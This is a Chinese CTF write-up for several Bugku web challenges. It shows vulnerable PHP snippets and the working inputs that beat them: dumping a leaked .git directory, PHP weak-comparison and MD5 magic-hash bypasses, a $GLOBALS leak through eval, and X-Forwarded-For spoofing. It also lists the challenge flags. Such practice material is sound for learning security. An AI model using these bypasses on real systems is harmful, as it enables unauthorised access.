弈秋弈秋
弈秋
弈秋
  • bugku writeup

bugku writeup

介绍

bugku

web

alert

右键源码可以看到ascii码

flag{23ee4938efa8e5fb4f9bc2bcce641c35}

解码得到:flag{23ee4938efa8e5fb4f9bc2bcce641c35}

你必须让他停下

使用bp抓包

得到:flag{30751bba739f6c288de362afb7afb0ad}

post

利用burp将get改成post发送,特别注意,传递参数和contenttype有要求:

$_POST 仅适用于 application/x-www-form-urlencoded 和 multipart/form-data 类型的请求

建议使用api test构造,或者注意以下

POST / HTTP/1.1
Host: 117.72.52.127:11052
content-type: application/x-www-form-urlencoded

what=flag

flagflag{e6981c96eb4a4662f3482c535c9a45db}

source

git源码泄露

使用dirsearch扫描,发现.git目录

有2个hacker工具:

  1. gitdumper

这个工具比较傻,只能直接下载文件,这题不管用

  1. git-hacker

这个相对高级,python2,可以下载整个仓库 ,但是这题会报错

  1. 手工下载

wget -r http://a.b.com/.git/

git log
git stash list
git reflog

git reset --hard <commit_hash_or_reference>

git reset --hard HEAD@{1}

命令:git show+(文件名) 如:git show <commit_hash_or_reference>

最后答案:flag{git_is_good_distributed_version_control_system}

矛盾

php 弱类型比较

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

num=1a

flag{bbd849f3008514cbbdee98a9690ba919}

备份是个好习惯

扫描可得index.php.bak

俩个考点:1是php参数替换,2是md5碰撞

最好是用php环境逐步调测

<?php

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

GET /?kekeyy1=s878926199a&kekeyy2=s155964671a


flag{67499c347056ce72e0cc33a185b2b6cd}

web 变量1

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

脚本:http://117.72.52.127:17913/?args=GLOBALS

flag{c951cb6a3ff1ca3858615207000edabf}

记住php的一些超变量 $GLOBALS $_SERVER $_REQUEST $_POST $_GET $_FILES $_ENV $_COOKIE $_SESSION

本地管理员

邮件看到base64编码找到米面,request header中X-Forwarded-For:127.0.0.1

X-Forwarded-For:127.0.0.1

flag{a0271f5b863353b8083330eab12501e1}

bp

这里只需要一个学会在bp爆破中正则查询的使用

flag{f273fbbcbe1ee28e35fa04569683c22b}

最近更新:: 2025/11/19 10:40
Contributors: yiqiu